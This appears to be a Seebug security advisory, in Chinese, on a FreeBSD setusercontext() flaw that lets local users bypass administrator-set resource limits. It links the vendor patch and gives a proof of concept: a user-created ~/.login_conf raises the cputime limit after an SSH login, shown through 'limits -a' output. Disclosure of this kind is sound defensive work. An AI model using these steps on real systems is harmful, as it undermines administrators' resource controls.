FreeBSD setusercontext()函数绕过安全限制漏洞

2010-08-24T00:00:00
ID SSV:20054
Type seebug
Reporter Root
Modified 2010-08-24T00:00:00

Description

BUGTRAQ ID: 42533

FreeBSD就是一种运行在Intel平台上、可以自由使用的开放源码Unix类系统。

在以其他用户的权限运行时lib/libutil/login_class.c文件中的setusercontext()函数应用了特定的用户设置,这允许本地用户通过创建特制的~/.login_conf文件并通过OpenSSH登录更改某些受限制的资源。

FreeBSD 8.0 FreeBSD 7.2 厂商补丁:

FreeBSD

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.freebsd.org/cgi/query-pr.cgi?pr=141840

                                        
                                            
                                                1. 在/etc/login.conf中添加新的登录类

test:\
:cputime=1h:\
:tc=default:

2. Make db

# cap_mkdb /etc/login.conf

3. 更改账号的登录类

# pw usermod $login -L test

4. 通过$login以SSH连接到这个主机并执行limits -a

$ limits -a
Resource limits (current):
cputime 3600 secs
filesize infinity kB
datasize 524288 kB
stacksize 65536 kB
coredumpsize infinity kB
memoryuse infinity kB
memorylocked infinity kB
maxprocesses 3603
openfiles 7207
sbsize infinity bytes
vmemoryuse infinity kB
pseudo-terminals infinity
swapuse infinity kB

5. 创建~/.login_conf

me:\
:cputime=2h:

6. 再次连接到这个主机并执行limits -a

$ limits -a
Resource limits (current):
cputime 7200 secs
filesize infinity kB
datasize 524288 kB
stacksize 65536 kB
coredumpsize infinity kB
memoryuse infinity kB
memorylocked infinity kB
maxprocesses 3603
openfiles 7207
sbsize infinity bytes
vmemoryuse infinity kB
pseudo-terminals infinity
swapuse infinity kB